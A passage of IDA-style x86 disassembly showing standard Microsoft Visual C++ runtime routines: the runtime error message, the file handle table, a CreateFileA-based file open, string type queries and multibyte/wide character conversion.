cmp eax, 1
jz loc_423EFB
test eax, eax
jnz short loc_423E24
cmp dword_43AE44, 1
jz loc_423EFB
loc_423E24: ; CODE XREF: sub_423DD1+44j
cmp edx, 0FCh
jz loc_423F21
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call ds:dword_427078 ; GetModuleFileNameA
test eax, eax
jnz short loc_423E5B
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_41C890
pop ecx
pop ecx
loc_423E5B: ; CODE XREF: sub_423DD1+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_41B9C0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_423E9E
lea eax, [ebp+var_1A4]
push eax
call sub_41B9C0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_41BFD0
add esp, 10h
loc_423E9E: ; CODE XREF: sub_423DD1+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_41C890
lea eax, [ebp+var_A0]
push edi
push eax
call sub_41C8A0
lea eax, [ebp+var_A0]
push offset asc_427BF0 ; "\n\n"
push eax
call sub_41C8A0
push off_43D4DC[esi]
lea eax, [ebp+var_A0]
push eax
call sub_41C8A0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_425029
add esp, 2Ch
pop edi
jmp short loc_423F21
; ---------------------------------------------------------------------------
loc_423EFB: ; CODE XREF: sub_423DD1+3Cj
; sub_423DD1+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43D4DC[esi]
push 0
push eax
push dword ptr [esi]
call sub_41B9C0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call ds:dword_427028 ; GetStdHandle
push eax
call ds:dword_4270F0 ; WriteFile
loc_423F21: ; CODE XREF: sub_423DD1+2Ej
; sub_423DD1+59j ...
pop esi
leave
retn
sub_423DD1 endp
; =============== S U B R O U T I N E =======================================
sub_423F24 proc near ; CODE XREF: sub_42423B:loc_4243B3p
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4DD040
loc_423F33: ; CODE XREF: sub_423F24+48j
mov eax, [ecx]
test eax, eax
jz short loc_423F70
lea edx, [eax+100h]
loc_423F3F: ; CODE XREF: sub_423F24+28j
cmp eax, edx
jnb short loc_423F5F
test byte ptr [eax+4], 1
jz short loc_423F4E
add eax, 8
jmp short loc_423F3F
; ---------------------------------------------------------------------------
loc_423F4E: ; CODE XREF: sub_423F24+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_423FB3
loc_423F5F: ; CODE XREF: sub_423F24+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4DD140
jl short loc_423F33
jmp short loc_423FB3
; ---------------------------------------------------------------------------
loc_423F70: ; CODE XREF: sub_423F24+13j
mov esi, 100h
push esi
call sub_41BEB5
test eax, eax
pop ecx
jz short loc_423FB3
add dword_4DD140, 20h
lea ecx, ds:4DD040h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_423F96: ; CODE XREF: sub_423F24+88j
cmp eax, edx
jnb short loc_423FAE
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_423F96
; ---------------------------------------------------------------------------
loc_423FAE: ; CODE XREF: sub_423F24+74j
shl edi, 5
mov ebx, edi
loc_423FB3: ; CODE XREF: sub_423F24+39j
; sub_423F24+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_423F24 endp
; =============== S U B R O U T I N E =======================================
sub_423FB9 proc near ; CODE XREF: sub_42423B+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DD140
push edi
jnb short loc_424019
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DD040h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_424019
cmp dword_43AE44, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_42400F
sub eax, 0
jz short loc_424006
dec eax
jz short loc_424001
dec eax
jnz short loc_42400F
push ebx
push 0FFFFFFF4h
jmp short loc_424009
; ---------------------------------------------------------------------------
loc_424001: ; CODE XREF: sub_423FB9+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_424009
; ---------------------------------------------------------------------------
loc_424006: ; CODE XREF: sub_423FB9+3Bj
push ebx
push 0FFFFFFF6h
loc_424009: ; CODE XREF: sub_423FB9+46j
; sub_423FB9+4Bj
call ds:dword_427020 ; SetStdHandle
loc_42400F: ; CODE XREF: sub_423FB9+36j
; sub_423FB9+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_42402D
; ---------------------------------------------------------------------------
loc_424019: ; CODE XREF: sub_423FB9+Cj
; sub_423FB9+28j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
loc_42402D: ; CODE XREF: sub_423FB9+5Ej
pop edi
pop esi
retn
sub_423FB9 endp
; =============== S U B R O U T I N E =======================================
sub_424030 proc near ; CODE XREF: sub_41E312+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4DD140
push edi
jnb short loc_424093
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_424093
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_424093
cmp dword_43AE44, 1
jnz short loc_424089
xor eax, eax
sub ecx, eax
jz short loc_424080
dec ecx
jz short loc_42407B
dec ecx
jnz short loc_424089
push eax
push 0FFFFFFF4h
jmp short loc_424083
; ---------------------------------------------------------------------------
loc_42407B: ; CODE XREF: sub_424030+41j
push eax
push 0FFFFFFF5h
jmp short loc_424083
; ---------------------------------------------------------------------------
loc_424080: ; CODE XREF: sub_424030+3Ej
push eax
push 0FFFFFFF6h
loc_424083: ; CODE XREF: sub_424030+49j
; sub_424030+4Ej
call ds:dword_427020 ; SetStdHandle
loc_424089: ; CODE XREF: sub_424030+38j
; sub_424030+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_4240A7
; ---------------------------------------------------------------------------
loc_424093: ; CODE XREF: sub_424030+Cj
; sub_424030+2Aj ...
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
loc_4240A7: ; CODE XREF: sub_424030+61j
pop edi
pop esi
retn
sub_424030 endp
; =============== S U B R O U T I N E =======================================
sub_4240AA proc near ; CODE XREF: sub_41E312+32p
; sub_41E312+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DD140
jnb short loc_4240D2
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD040[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_4240D2
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_4240D2: ; CODE XREF: sub_4240AA+Aj
; sub_4240AA+23j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
retn
sub_4240AA endp
; =============== S U B R O U T I N E =======================================
sub_4240E7 proc near ; CODE XREF: sub_41E3F0+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DD140
jnb short loc_424130
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4DD040[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_424130
push eax
call sub_4240AA
pop ecx
push eax
call ds:dword_42701C ; FlushFileBuffers
test eax, eax
jnz short loc_424125
call ds:dword_427094 ; RtlGetLastWin32Error
jmp short loc_424127
; ---------------------------------------------------------------------------
loc_424125: ; CODE XREF: sub_4240E7+34j
xor eax, eax
loc_424127: ; CODE XREF: sub_4240E7+3Cj
test eax, eax
jz short locret_42413D
mov dword_4DBDE0, eax
loc_424130: ; CODE XREF: sub_4240E7+Aj
; sub_4240E7+22j
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
locret_42413D: ; CODE XREF: sub_4240E7+42j
retn
sub_4240E7 endp
; =============== S U B R O U T I N E =======================================
sub_42413E proc near ; DATA XREF: .data:00429020o
mov eax, dword_4DD020
push esi
push 14h
test eax, eax
pop esi
jnz short loc_424152
mov eax, 200h
jmp short loc_424158
; ---------------------------------------------------------------------------
loc_424152: ; CODE XREF: sub_42413E+Bj
cmp eax, esi
jge short loc_42415D
mov eax, esi
loc_424158: ; CODE XREF: sub_42413E+12j
mov dword_4DD020, eax
loc_42415D: ; CODE XREF: sub_42413E+16j
push 4
push eax
call sub_4250B2
pop ecx
mov dword_4DC01C, eax
test eax, eax
pop ecx
jnz short loc_424191
push 4
push esi
mov dword_4DD020, esi
call sub_4250B2
pop ecx
mov dword_4DC01C, eax
test eax, eax
pop ecx
jnz short loc_424191
push 1Ah
call sub_41E2C9
pop ecx
loc_424191: ; CODE XREF: sub_42413E+30j
; sub_42413E+49j
xor ecx, ecx
mov eax, offset off_43D568
loc_424198: ; CODE XREF: sub_42413E+6Ej
mov edx, dword_4DC01C
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43D7E8
jl short loc_424198
xor edx, edx
mov ecx, offset dword_43D578
loc_4241B5: ; CODE XREF: sub_42413E+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4DD040[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_4241D2
test eax, eax
jnz short loc_4241D5
loc_4241D2: ; CODE XREF: sub_42413E+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_4241D5: ; CODE XREF: sub_42413E+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43D5D8
jl short loc_4241B5
pop esi
retn
sub_42413E endp
; =============== S U B R O U T I N E =======================================
sub_4241E3 proc near ; DATA XREF: .data:00429030o
; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES
call sub_41E487
cmp byte_4DBE1C, 0
jz short locret_4241F6
jmp loc_425163
; ---------------------------------------------------------------------------
locret_4241F6: ; CODE XREF: sub_4241E3+Cj
retn
sub_4241E3 endp
; =============== S U B R O U T I N E =======================================
sub_4241F7 proc near ; CODE XREF: sub_41F8E3+32p
; sub_41FE2A+6Cp ...
arg_0 = dword ptr 4
inc dword_4DBFAC
push 1000h
call sub_41BEB5
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_424220
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_424231
; ---------------------------------------------------------------------------
loc_424220: ; CODE XREF: sub_4241F7+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_424231: ; CODE XREF: sub_4241F7+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_4241F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42423B proc near ; CODE XREF: sub_41FBCD+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_424261
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_42426C
; ---------------------------------------------------------------------------
loc_424261: ; CODE XREF: sub_42423B+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_42426C: ; CODE XREF: sub_42423B+24j
mov eax, 8000h
test ecx, eax
jnz short loc_424286
test ch, 40h
jnz short loc_424282
cmp dword_4DBFF8, eax
jz short loc_424286
loc_424282: ; CODE XREF: sub_42423B+3Dj
or [ebp+var_1], 80h
loc_424286: ; CODE XREF: sub_42423B+38j
; sub_42423B+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_4242BE
dec eax
jz short loc_4242B5
dec eax
jz short loc_4242AC
loc_424297: ; CODE XREF: sub_42423B+9Fj
; sub_42423B+E8j ...
mov dword_4DBDDC, 16h
mov dword_4DBDE0, ebx
jmp loc_4244D1
; ---------------------------------------------------------------------------
loc_4242AC: ; CODE XREF: sub_42423B+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_4242C5
; ---------------------------------------------------------------------------
loc_4242B5: ; CODE XREF: sub_42423B+57j
mov [ebp+var_C], 40000000h
jmp short loc_4242C5
; ---------------------------------------------------------------------------
loc_4242BE: ; CODE XREF: sub_42423B+54j
mov [ebp+var_C], 80000000h
loc_4242C5: ; CODE XREF: sub_42423B+78j
; sub_42423B+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_4242F3
cmp eax, 20h
jz short loc_4242EA
cmp eax, 30h
jz short loc_4242E1
cmp eax, 40h
jnz short loc_424297
mov [ebp+var_10], esi
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242E1: ; CODE XREF: sub_42423B+9Aj
mov [ebp+var_10], 2
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242EA: ; CODE XREF: sub_42423B+95j
mov [ebp+var_10], 1
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242F3: ; CODE XREF: sub_42423B+90j
mov [ebp+var_10], ebx
loc_4242F6: ; CODE XREF: sub_42423B+A4j
; sub_42423B+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_424340
jz short loc_42433B
cmp ecx, ebx
jz short loc_42433B
cmp ecx, edi
jz short loc_424332
cmp ecx, 200h
jz short loc_424359
cmp ecx, 300h
jnz loc_424297
mov [ebp+var_8], 2
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424332: ; CODE XREF: sub_42423B+D8j
mov [ebp+var_8], 4
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_42433B: ; CODE XREF: sub_42423B+D0j
; sub_42423B+D4j
mov [ebp+var_8], esi
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424340: ; CODE XREF: sub_42423B+CEj
cmp ecx, 500h
jz short loc_424362
cmp ecx, 600h
jz short loc_424359
cmp ecx, edx
jz short loc_424362
jmp loc_424297
; ---------------------------------------------------------------------------
loc_424359: ; CODE XREF: sub_42423B+E0j
; sub_42423B+113j
mov [ebp+var_8], 5
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424362: ; CODE XREF: sub_42423B+10Bj
; sub_42423B+117j
mov [ebp+var_8], 1
loc_424369: ; CODE XREF: sub_42423B+F5j
; sub_42423B+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_424388
mov ecx, dword_4DBDE4
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_424388
push 1
pop esi
loc_424388: ; CODE XREF: sub_42423B+138j
; sub_42423B+148j
test al, 40h
jz short loc_424396
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_424396: ; CODE XREF: sub_42423B+14Fj
test ah, 10h
jz short loc_42439D
or esi, edi
loc_42439D: ; CODE XREF: sub_42423B+15Ej
test al, 20h
jz short loc_4243A9
or esi, 8000000h
jmp short loc_4243B3
; ---------------------------------------------------------------------------
loc_4243A9: ; CODE XREF: sub_42423B+164j
test al, 10h
jz short loc_4243B3
or esi, 10000000h
loc_4243B3: ; CODE XREF: sub_42423B+16Cj
; sub_42423B+170j
call sub_423F24
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_4243D4
and dword_4DBDE0, 0
mov dword_4DBDDC, 18h
jmp short loc_424412
; ---------------------------------------------------------------------------
loc_4243D4: ; CODE XREF: sub_42423B+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call ds:dword_4270F8 ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_424405
push esi
call ds:dword_427024 ; GetFileType
test eax, eax
jnz short loc_424419
push esi
call ds:dword_427070 ; CloseHandle
loc_424405: ; CODE XREF: sub_42423B+1B6j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
call sub_420C7F
pop ecx
loc_424412: ; CODE XREF: sub_42423B+197j
mov eax, edi
jmp loc_4244EF
; ---------------------------------------------------------------------------
loc_424419: ; CODE XREF: sub_42423B+1C1j
cmp eax, 2
jnz short loc_424424
or [ebp+var_1], 40h
jmp short loc_42442D
; ---------------------------------------------------------------------------
loc_424424: ; CODE XREF: sub_42423B+1E1j
cmp eax, 3
jnz short loc_42442D
or [ebp+var_1], 8
loc_42442D: ; CODE XREF: sub_42423B+1E7j
; sub_42423B+1ECj
push esi
push ebx
call sub_423FB9
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4DD040h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_4244D6
test al, 80h
jz short loc_4244D6
test byte ptr [ebp+arg_4], 2
jz short loc_4244D6
push 2
push 0FFFFFFFFh
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_42448B
cmp dword_4DBDE0, 83h
jz short loc_4244D6
jmp short loc_4244CA
; ---------------------------------------------------------------------------
loc_42448B: ; CODE XREF: sub_42423B+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41F9BC
add esp, 0Ch
test eax, eax
jnz short loc_4244B8
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_4244B8
push [ebp+var_10]
push ebx
call sub_4251BB
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4244CA
loc_4244B8: ; CODE XREF: sub_42423B+265j
; sub_42423B+26Bj
push 0
push 0
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_4244D6
loc_4244CA: ; CODE XREF: sub_42423B+24Ej
; sub_42423B+27Bj
push ebx
call sub_41E312
pop ecx
loc_4244D1: ; CODE XREF: sub_42423B+6Cj
or eax, 0FFFFFFFFh
jmp short loc_4244EF
; ---------------------------------------------------------------------------
loc_4244D6: ; CODE XREF: sub_42423B+221j
; sub_42423B+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_4244ED
test byte ptr [ebp+arg_4], 8
jz short loc_4244ED
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_4244ED: ; CODE XREF: sub_42423B+29Fj
; sub_42423B+2A5j
mov eax, ebx
loc_4244EF: ; CODE XREF: sub_42423B+1D9j
; sub_42423B+299j
pop edi
pop esi
pop ebx
leave
retn
sub_42423B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4244F4 proc near ; CODE XREF: sub_41FDB5+5Ep
; sub_420988+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427C30
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DBFB4
xor ebx, ebx
cmp eax, ebx
jnz short loc_424563
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427920
push esi
call ds:dword_427014 ; GetStringTypeW
test eax, eax
jz short loc_424541
mov eax, esi
jmp short loc_42455E
; ---------------------------------------------------------------------------
loc_424541: ; CODE XREF: sub_4244F4+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset word_4CB88C
push esi
push ebx
call ds:dword_427018 ; GetStringTypeA
test eax, eax
jz loc_424629
push 2
pop eax
loc_42455E: ; CODE XREF: sub_4244F4+4Bj
mov dword_4DBFB4, eax
loc_424563: ; CODE XREF: sub_4244F4+2Fj
cmp eax, 2
jnz short loc_42458C
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_424574
mov eax, dword_4DBE84
loc_424574: ; CODE XREF: sub_4244F4+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call ds:dword_427018 ; GetStringTypeA
jmp loc_42462B
; ---------------------------------------------------------------------------
loc_42458C: ; CODE XREF: sub_4244F4+72j
cmp eax, 1
jnz loc_424629
cmp [ebp+arg_10], ebx
jnz short loc_4245A2
mov eax, dword_4DBE94
mov [ebp+arg_10], eax
loc_4245A2: ; CODE XREF: sub_4244F4+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call ds:dword_4270E8 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_424629
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_41BF70
add esp, 0Ch
jmp short loc_4245F8
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_4245F8: ; CODE XREF: sub_4244F4+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_424629
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call ds:dword_4270E8 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_424629
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call ds:dword_427014 ; GetStringTypeW
jmp short loc_42462B
; ---------------------------------------------------------------------------
loc_424629: ; CODE XREF: sub_4244F4+61j
; sub_4244F4+9Bj ...
xor eax, eax
loc_42462B: ; CODE XREF: sub_4244F4+93j
; sub_4244F4+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4244F4 endp
; =============== S U B R O U T I N E =======================================
sub_42463D proc near ; CODE XREF: sub_41FE2A+61p
; sub_420CE6+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DD140
jb short loc_42464C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42464C: ; CODE XREF: sub_42463D+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD040[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_42463D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424663 proc near ; CODE XREF: sub_41FF3F+2D4p
; sub_41FF3F+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_42466F
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42466F: ; CODE XREF: sub_424663+8j
cmp dword_4DBE84, 0
jnz short loc_42468A
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_4246BC
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42468A: ; CODE XREF: sub_424663+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_43D084
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_4DBE94
call ds:dword_427188 ; WideCharToMultiByte
test eax, eax
jz short loc_4246BC
cmp [ebp+arg_0], 0
jz short loc_4246C9
loc_4246BC: ; CODE XREF: sub_424663+1Ej
; sub_424663+51j
mov dword_4DBDDC, 2Ah
or eax, 0FFFFFFFFh
loc_4246C9: ; CODE XREF: sub_424663+57j
pop ebp
retn
sub_424663 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4246CB proc near ; CODE XREF: sub_420DB0+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_4246EE
cmp [ebp+arg_8], ebx
jz short loc_4246EE
mov al, [esi]
cmp al, bl
jnz short loc_4246F4
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4246EE
mov [eax], bx
loc_4246EE: ; CODE XREF: sub_4246CB+Cj
; sub_4246CB+11j ...
xor eax, eax
loc_4246F0: ; CODE XREF: sub_4246CB+42j
; sub_4246CB+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4246F4: ; CODE XREF: sub_4246CB+17j
cmp dword_4DBE84, ebx
jnz short loc_42470F
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_42470A
movzx ax, al
mov [ecx], ax
loc_42470A: ; CODE XREF: sub_4246CB+36j
; sub_4246CB+C0j
push 1
pop eax
jmp short loc_4246F0
; ---------------------------------------------------------------------------
loc_42470F: ; CODE XREF: sub_4246CB+2Fj
mov ecx, off_43CE78
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42476C
mov eax, dword_43D084
cmp eax, 1
jle short loc_424753
cmp [ebp+arg_8], eax
jl short loc_42475D
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_4DBE94
call ds:dword_4270E8 ; MultiByteToWideChar
test eax, eax
mov eax, dword_43D084
jnz short loc_4246F0
loc_424753: ; CODE XREF: sub_4246CB+5Cj
cmp [ebp+arg_8], eax
jb short loc_42475D
cmp [esi+1], bl
jnz short loc_4246F0
loc_42475D: ; CODE XREF: sub_4246CB+61j
; sub_4246CB+8Bj ...
mov dword_4DBDDC, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4246F0
; ---------------------------------------------------------------------------
loc_42476C: ; CODE XREF: sub_4246CB+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_4DBE94
call ds:dword_4270E8 ; MultiByteToWideChar
test eax, eax
jnz loc_42470A
jmp short loc_42475D
sub_4246CB endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4247A0 proc near ; CODE XREF: sub_420DB0+797p
; sub_420DB0+7E7p
cmp cl, 40h
jnb short loc_4247BA
cmp cl, 20h
jnb short loc_4247B0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_4247B0: ; CODE XREF: sub_4247A0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_4247BA: ; CODE XREF: sub_4247A0+3j
xor eax, eax
xor edx, edx
retn
sub_4247A0 endp
; =============== S U B R O U T I N E =======================================
sub_4247BF proc near ; CODE XREF: sub_421826+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_42480B
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_4247DD
test al, 80h
jz short loc_42480B
test al, 2
jnz short loc_42480B
loc_4247DD: ; CODE XREF: sub_4247BF+14j
cmp dword ptr [esi+8], 0
jnz short loc_4247EA
push esi
call sub_4241F7
pop ecx
loc_4247EA: ; CODE XREF: sub_4247BF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_4247FA
cmp dword ptr [esi+4], 0
jnz short loc_42480B
inc eax
mov [esi], eax
loc_4247FA: ; CODE XREF: sub_4247BF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_424811
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_424817
inc eax
mov [esi], eax
loc_42480B: ; CODE XREF: sub_4247BF+9j
; sub_4247BF+18j ...
or eax, 0FFFFFFFFh
loc_42480E: ; CODE XREF: sub_4247BF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424811: ; CODE XREF: sub_4247BF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_424817: ; CODE XREF: sub_4247BF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
